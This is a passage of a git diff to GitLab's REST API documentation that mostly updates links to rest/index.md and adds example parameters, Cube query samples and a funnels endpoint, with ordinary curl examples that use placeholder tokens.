/projects/:id/pipeline_schedules/:pipeline_schedule_id/variables/:key | Attribute | Type | required | Description | |------------------------|----------------|----------|--------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `pipeline_schedule_id` | integer | yes | The pipeline schedule ID | | `key` | string | yes | The `key` of a variable | diff --git a/doc/api/pipeline_triggers.md b/doc/api/pipeline_triggers.md index 999b223a934..1ffda1c0d79 100644 --- a/doc/api/pipeline_triggers.md +++ b/doc/api/pipeline_triggers.md @@ -18,7 +18,7 @@ GET /projects/:id/triggers | Attribute | Type | required | Description | |-----------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/triggers" @@ -51,7 +51,7 @@ GET /projects/:id/triggers/:trigger_id | Attribute | Type | required | Description | |--------------|---------|----------|--------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `trigger_id` | integer | yes | The trigger ID | ```shell @@ -80,7 +80,7 @@ POST /projects/:id/triggers | Attribute | Type | required | Description | |---------------|---------|----------|--------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `description` | string | yes | The trigger name | ```shell @@ -110,7 +110,7 @@ PUT /projects/:id/triggers/:trigger_id | Attribute | Type | required | Description | |---------------|---------|----------|--------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `trigger_id` | integer | yes | The trigger ID | | `description` | string | no | The trigger name | @@ -141,7 +141,7 @@ DELETE /projects/:id/triggers/:trigger_id | Attribute | Type | required | Description | |----------------|---------|----------|--------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `trigger_id` | integer | yes | The trigger ID | ```shell @@ -167,7 +167,7 @@ Supported attributes: | Attribute | Type | Required | Description | |:------------|:---------------|:-----------------------|:---------------------| -| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `ref` | string | **{check-circle}** Yes | The branch or tag to run the pipeline on. | | `token` | string | **{check-circle}** Yes | The trigger token or CI/CD job token. | | `variables` | hash | **{dotted-circle}** No | A map of key-valued strings containing the pipeline variables. For example: `{ VAR1: "value1", VAR2: "value2" }`. | @@ -175,7 +175,7 @@ Supported attributes: Example request: ```shell -curl --request POST "https://gitlab.example.com/api/v4/projects/123/trigger/pipeline?token=2cb1840fb9dfc9fb0b7b1609cd29cb&ref=main" +curl --request POST --form "variables[VAR1]=value1" --form "variables[VAR2]=value2" "https://gitlab.example.com/api/v4/projects/123/trigger/pipeline?token=2cb1840fb9dfc9fb0b7b1609cd29cb&ref=main" ``` Example response: @@ -184,7 +184,7 @@ Example response: { "id": 257, "iid": 118, - "project_id": 21, + "project_id": 123, "sha": "91e2711a93e5d9e8dddfeb6d003b636b25bf6fc9", "ref": "main", "status": "created", diff --git a/doc/api/pipelines.md b/doc/api/pipelines.md index 669161049d5..7049d3c3927 100644 --- a/doc/api/pipelines.md +++ b/doc/api/pipelines.md @@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w By default, `GET` requests return 20 results at a time because the API results are paginated. -Read more on [pagination](index.md#pagination). +Read more on [pagination](rest/index.md#pagination). ## List project pipelines @@ -26,7 +26,7 @@ GET /projects/:id/pipelines | Attribute | Type | Required | Description | |-----------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `scope` | string | no | The scope of pipelines, one of: `running`, `pending`, `finished`, `branches`, `tags` | | `status` | string | no | The status of pipelines, one of: `created`, `waiting_for_resource`, `preparing`, `pending`, `running`, `success`, `failed`, `canceled`, `skipped`, `manual`, `scheduled` | | `source` | string | no | In [GitLab 14.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/325439), how the pipeline was triggered, one of: `push`, `web`, `trigger`, `schedule`, `api`, `external`, `pipeline`, `chat`, `webide`, `merge_request_event`, `external_pull_request_event`, `parent_pipeline`, `ondemand_dast_scan`, or `ondemand_dast_validation`. | @@ -89,7 +89,7 @@ GET /projects/:id/pipelines/:pipeline_id | Attribute | Type | Required | Description | |------------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `pipeline_id` | integer | yes | The ID of a pipeline | ```shell @@ -137,7 +137,7 @@ GET /projects/:id/pipelines/:pipeline_id/variables | Attribute | Type | Required | Description | |------------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `pipeline_id` | integer | yes | The ID of a pipeline | ```shell @@ -173,7 +173,7 @@ GET /projects/:id/pipelines/:pipeline_id/test_report | Attribute | Type | Required | Description | |------------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `pipeline_id` | integer | yes | The ID of a pipeline | Sample request: @@ -229,7 +229,7 @@ GET /projects/:id/pipelines/:pipeline_id/test_report_summary | Attribute | Type | Required | Description | |------------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `pipeline_id` | integer | yes | The ID of a pipeline | Sample request: @@ -340,9 +340,9 @@ POST /projects/:id/pipeline | Attribute | Type | Required | Description | |-------------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `ref` | string | yes | The branch or tag to run the pipeline on. | -| `variables` | array | no | An [array of hashes](index.md#array-of-hashes) containing the variables available in the pipeline, matching the structure `[{ 'key': 'UPLOAD_TO_S3', 'variable_type': 'file', 'value': 'true' }, {'key': 'TEST', 'value': 'test variable'}]`. If `variable_type` is excluded, it defaults to `env_var`. | +| `variables` | array | no | An [array of hashes](rest/index.md#array-of-hashes) containing the variables available in the pipeline, matching the structure `[{ 'key': 'UPLOAD_TO_S3', 'variable_type': 'file', 'value': 'true' }, {'key': 'TEST', 'value': 'test variable'}]`. If `variable_type` is excluded, it defaults to `env_var`. | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/pipeline?ref=main" @@ -391,7 +391,7 @@ POST /projects/:id/pipelines/:pipeline_id/retry | Attribute | Type | Required | Description | |------------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `pipeline_id` | integer | yes | The ID of a pipeline | ```shell @@ -439,7 +439,7 @@ POST /projects/:id/pipelines/:pipeline_id/cancel | Attribute | Type | Required | Description | |------------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `pipeline_id` | integer | yes | The ID of a pipeline | ```shell @@ -498,7 +498,7 @@ DELETE /projects/:id/pipelines/:pipeline_id | Attribute | Type | Required | Description | |------------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `pipeline_id` | integer | yes | The ID of a pipeline | ```shell diff --git a/doc/api/product_analytics.md b/doc/api/product_analytics.md index 90df1090f62..c687acdb5db 100644 --- a/doc/api/product_analytics.md +++ b/doc/api/product_analytics.md @@ -25,42 +25,48 @@ POST /projects/:id/product_analytics/request/load POST /projects/:id/product_analytics/request/dry-run ``` -| Attribute | Type | Required | Description | -| --------- |------------------| -------- |---------------------------------------------------------------| -| `id` | integer | yes | The ID of a project that the current user has read access to. | +| Attribute | Type | Required | Description | +|-----------------|------------------| -------- |---------------------------------------------------------------------------------------------| +| `id` | integer | yes | The ID of a project that the current user has read access to. | +| `include_token` | boolean | no | Whether to include the access token in the response. (Only required for funnel generation.) | ### Request body The body of the load request must be a valid Cube query. +NOTE: +When measuring `TrackedEvents`, you must use `TrackedEvents.*` for `dimensions` and `timeDimensions`. The same rule applies when measuring `Sessions`. + +#### Tracked events example + ```json { "query": { "measures": [ - "Jitsu.count" + "TrackedEvents.count" ], "timeDimensions": [ { - "dimension": "Jitsu.utcTime", + "dimension": "TrackedEvents.utcTime", "dateRange": "This week" } ], "order": [ [ - "Jitsu.count", + "TrackedEvents.count", "desc" ], [ - "Jitsu.docPath", + "TrackedEvents.docPath", "desc" ], [ - "Jitsu.utcTime", + "TrackedEvents.utcTime", "asc" ] ], "dimensions": [ - "Jitsu.docPath" + "TrackedEvents.docPath" ], "limit": 23 }, @@ -68,6 +74,29 @@ The body of the load request must be a valid Cube query. } ``` +#### Sessions example + +```json +{ + "query": { + "measures": [ + "Sessions.count" + ], + "timeDimensions": [ + { + "dimension": "Sessions.startAt", + "granularity": "day" + } + ], + "order": { + "Sessions.startAt": "asc" + }, + "limit": 100 + }, + "queryType": "multi" +} +``` + ## Send metadata request to Cube Return Cube Metadata for the Analytics data. For example: @@ -79,3 +108,15 @@ GET /projects/:id/product_analytics/request/meta | Attribute | Type | Required | Description | | --------- |------------------| -------- |---------------------------------------------------------------| | `id` | integer | yes | The ID of a project that the current user has read access to. | + +## List a project's funnels + +List all funnels for a project. For example: + +```plaintext +GET /projects/:id/product_analytics/funnels +``` + +| Attribute | Type | Required | Description | +| --------- |------------------| -------- |--------------------------------------------------------------------| +| `id` | integer | yes | The ID of a project that the current user has the Developer role for. | diff --git a/doc/api/project_access_tokens.md b/doc/api/project_access_tokens.md index 4b74dacb996..6711d1b0261 100644 --- a/doc/api/project_access_tokens.md +++ b/doc/api/project_access_tokens.md @@ -20,7 +20,7 @@ GET projects/:id/access_tokens | Attribute | Type | required | Description | |-----------|---------|----------|---------------------| -| `id` | integer or string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/<project_id>/access_tokens" @@ -56,7 +56,7 @@ GET projects/:id/access_tokens/:token_id | Attribute | Type | required | Description | |-----------|---------|----------|---------------------| -| `id` | integer or string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `token_id` | integer or string | yes | ID of the project access token | ```shell @@ -101,7 +101,7 @@ POST projects/:id/access_tokens | Attribute | Type | required | Description | |-----------|---------|----------|---------------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `name` | String | yes | Name of the project access token | | `scopes` | `Array[String]` | yes | [List of scopes](../user/project/settings/project_access_tokens.md#scopes-for-a-project-access-token) | | `access_level` | Integer | no | Access level. Valid values are `10` (Guest), `20` (Reporter), `30` (Developer), `40` (Maintainer), and `50` (Owner). Defaults to `40`. | @@ -144,7 +144,7 @@ DELETE projects/:id/access_tokens/:token_id | Attribute | Type | required | Description | |-----------|---------|----------|---------------------| -| `id` | integer or string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `token_id` | integer or string | yes | ID of the project access token | ```shell diff --git a/doc/api/project_badges.md b/doc/api/project_badges.md index 52d32ab17b9..3dad40a3f96 100644 --- a/doc/api/project_badges.md +++ b/doc/api/project_badges.md @@ -31,11 +31,11 @@ GET /projects/:id/badges | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | no | Name of the badges to return (case-sensitive). | ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/:id/badges" +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/:id/badges?name=Coverage" ``` Example response: @@ -73,7 +73,7 @@ GET /projects/:id/badges/:badge_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `badge_id` | integer | yes | The badge ID | ```shell @@ -84,6 +84,7 @@ Example response: ```json { + "name": "Coverage", "id": 1, "link_url": "http://example.com/ci_status.svg?project=%{project_path}&ref=%{default_branch}", "image_url": "https://shields.io/my/badge", @@ -103,7 +104,7 @@ POST /projects/:id/badges | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `link_url` | string | yes | URL of the badge link | | `image_url` | string | yes | URL of the badge image | | `name` | string | no | Name of the badge | @@ -138,7 +139,7 @@ PUT /projects/:id/badges/:badge_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `badge_id` | integer | yes | The badge ID | | `link_url` | string | no | URL of the badge link | | `image_url` | string | no | URL of the badge image | @@ -172,7 +173,7 @@ DELETE /projects/:id/badges/:badge_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `badge_id` | integer | yes | The badge ID | ```shell @@ -189,7 +190,7 @@ GET /projects/:id/badges/render | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `link_url` | string | yes | URL of the badge link| | `image_url` | string | yes | URL of the badge image | diff --git a/doc/api/project_clusters.md b/doc/api/project_clusters.md index 48fc669fe59..01081bdd6d9 100644 --- a/doc/api/project_clusters.md +++ b/doc/api/project_clusters.md @@ -26,7 +26,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ------- | -------- | ----------------------------------------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | Example request: @@ -96,7 +96,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------ | ------- | -------- | ----------------------------------------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `cluster_id` | integer | yes | The ID of the cluster | Example request: @@ -190,7 +190,7 @@ Parameters: | Attribute | Type | Required | Description | | ---------------------------------------------------- | ------- | -------- | ----------------------------------------------------------------------------------------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | yes | The name of the cluster | | `domain` | string | no | The [base domain](../user/project/clusters/gitlab_managed_clusters.md#base-domain) of the cluster | | `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | @@ -287,7 +287,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------------------------------------- | ------- | -------- | ------------------------------------------------------------------------------------------ | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `cluster_id` | integer | yes | The ID of the cluster | | `name` | string | no | The name of the cluster | | `domain` | string | no | The [base domain](../user/project/clusters/gitlab_managed_clusters.md#base-domain) of the cluster | @@ -398,7 +398,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------ | ------- | -------- | ----------------------------------------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `cluster_id` | integer | yes | The ID of the cluster | Example request: diff --git a/doc/api/project_import_export.md b/doc/api/project_import_export.md index fe3b2e2a3fb..00e73d41b46 100644 --- a/doc/api/project_import_export.md +++ b/doc/api/project_import_export.md @@ -39,7 +39,7 @@ POST /projects/:id/export | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ---------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `description` | string | no | Overrides the project description | | `upload` | hash | no | Hash that contains the information to upload the exported project to a web server | | `upload[url]` | string | yes | The URL to upload the project | @@ -67,7 +67,7 @@ GET /projects/:id/export | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ---------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/export" @@ -115,7 +115,7 @@ GET /projects/:id/export/download | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ---------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" --remote-header-name \ @@ -135,8 +135,7 @@ POST /projects/import | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ---------------------------------------- | -| `namespace` | integer/string | no | The ID or path of the namespace to import the project to. Defaults to the current user's namespace. Requires at least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was -[deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. | +| `namespace` | integer/string | no | The ID or path of the namespace to import the project to. Defaults to the current user's namespace.<br/><br/>Requires at least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. | | `name` | string | no | The name of the project to be imported. Defaults to the path of the project if not provided | | `file` | string | yes | The file to be uploaded | | `path` | string | yes | Name and path for new project | @@ -341,7 +340,7 @@ GET /projects/:id/import | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ---------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/import" diff --git a/doc/api/project_level_variables.md b/doc/api/project_level_variables.md index c6b56c53413..92ca2849e8e 100644 --- a/doc/api/project_level_variables.md +++ b/doc/api/project_level_variables.md @@ -17,7 +17,7 @@ GET /projects/:id/variables | Attribute | Type | Required | Description | | --------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/variables" @@ -57,7 +57,7 @@ GET /projects/:id/variables/:key | Attribute | Type | Required | Description | | --------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `key` | string | yes | The `key` of a variable | | `filter` | hash | no | Available filters: `[environment_scope]`. See the [`filter` parameter details](#the-filter-parameter). | @@ -89,13 +89,13 @@ POST /projects/:id/variables | Attribute | Type | Required | Description | | ------------------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `key` | string | yes | The `key` of a variable; must have no more than 255 characters; only `A-Z`, `a-z`, `0-9`, and `_` are allowed | | `value` | string | yes | The `value` of a variable | | `variable_type` | string | no | The type of a variable. Available types are: `env_var` (default) and `file` | | `protected` | boolean | no | Whether the variable is protected. Default: `false` | | `masked` | boolean | no | Whether the variable is masked. Default: `false` | -| `raw` | boolean | no | Whether the variable is expandable. Default: `false` | +| `raw` | boolean | no | Whether the variable is treated as a raw string. Default: `false`. When `true`, variables in the value are not [expanded](../ci/variables/index.md#prevent-cicd-variable-expansion). | | `environment_scope` | string | no | The `environment_scope` of the variable. Default: `*` | ```shell @@ -126,13 +126,13 @@ PUT /projects/:id/variables/:key | Attribute | Type | Required | Description | | ------------------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `key` | string | yes | The `key` of a variable | | `value` | string | yes | The `value` of a variable | | `variable_type` | string | no | The type of a variable. Available types are: `env_var` (default) and `file` | | `protected` | boolean | no | Whether the variable is protected | | `masked` | boolean | no | Whether the variable is masked | -| `raw` | boolean | no | Whether the variable is expandable. Default: `false` | +| `raw` | boolean | no | Whether the variable is treated as a raw string. Default: `false`. When `true`, variables in the value are not [expanded](../ci/variables/index.md#prevent-cicd-variable-expansion). | | `environment_scope` | string | no | The `environment_scope` of the variable | | `filter` | hash | no | Available filters: `[environment_scope]`. See the [`filter` parameter details](#the-filter-parameter). | @@ -164,7 +164,7 @@ DELETE /projects/:id/variables/:key | Attribute | Type | Required | Description | | --------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `key` | string | yes | The `key` of a variable | | `filter` | hash | no | Available filters: `[environment_scope]`. See the [`filter` parameter details](#the-filter-parameter). | diff --git a/doc/api/project_repository_storage_moves.md b/doc/api/project_repository_storage_moves.md index bed4d4c9d88..925d3a46f45 100644 --- a/doc/api/project_repository_storage_moves.md +++ b/doc/api/project_repository_storage_moves.md @@ -26,7 +26,7 @@ To ensure data integrity, projects are put in a temporary read-only state for th duration of the move. During this time, users receive a `The repository is temporarily read-only. Please try again later.` message if they try to push new commits. -This API requires you to [authenticate yourself](index.md#authentication) as an administrator. +This API requires you to [authenticate yourself](rest/index.md#authentication) as an administrator. For other repository types see: @@ -40,7 +40,7 @@ GET /project_repository_storage_moves ``` By default, `GET` requests return 20 results at a time because the API results -are [paginated](index.md#pagination). +are [paginated](rest/index.md#pagination). Example request: @@ -78,7 +78,7 @@ GET /projects/:project_id/repository_storage_moves ``` By default, `GET` requests return 20 results at a time because the API results -are [paginated](index.md#pagination). +are [paginated](rest/index.md#pagination). Parameters: diff --git a/doc/api/project_snippets.md b/doc/api/project_snippets.md index 95477cdc765..242edf7d768 100644 --- a/doc/api/project_snippets.md +++ b/doc/api/project_snippets.md @@ -8,16 +8,16 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Snippet visibility level -Snippets in GitLab can be either private, internal or public. +[Snippets](../api/project_snippets.md) in GitLab can be either private, internal or public. You can set it with the `visibility` field in the snippet. Constants for snippet visibility levels are: | visibility | Description | | ---------- | ----------- | -| `private` | The snippet is visible only to project members | -| `internal` | The snippet is visible for any authenticated user except [external users](../user/admin_area/external_users.md) | -| `public` | The snippet can be accessed without any authentication | +| `private` | The snippet is visible only to project members. | +| `internal` | The snippet is visible for any authenticated user except [external users](../user/admin_area/external_users.md). | +| `public` | The snippet can be accessed without any authentication. | NOTE: From July 2019, the `Internal` visibility setting is disabled for new projects, groups, @@ -37,7 +37,7 @@ Parameters: | Attribute | Type | Required | Description | |-----------|----------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | ## Single snippet @@ -51,8 +51,8 @@ Parameters: | Attribute | Type | Required | Description | |--------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | -| `snippet_id` | integer | yes | The ID of a project's snippet | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | +| `snippet_id` | integer | yes | The ID of a project's snippet. | ```json { @@ -88,15 +88,15 @@ Parameters: | Attribute | Type | Required | Description | |:------------------|:----------------|:---------|:----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | -| `title` | string | yes | Title of a snippet | -| `file_name` | string | no | Deprecated: Use `files` instead. Name of a snippet file | -| `content` | string | no | Deprecated: Use `files` instead. Content of a snippet | -| `description` | string | no | Description of a snippet | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | +| `title` | string | yes | Title of a snippet. | +| `file_name` | string | no | Deprecated: Use `files` instead. Name of a snippet file. | +| `content` | string | no | Deprecated: Use `files` instead. Content of a snippet. | +| `description` | string | no | Description of a snippet. | | `visibility` | string | no | Snippet's [visibility](#snippet-visibility-level) | -| `files` | array of hashes | no | An array of snippet files | -| `files:file_path` | string | yes | File path of the snippet file 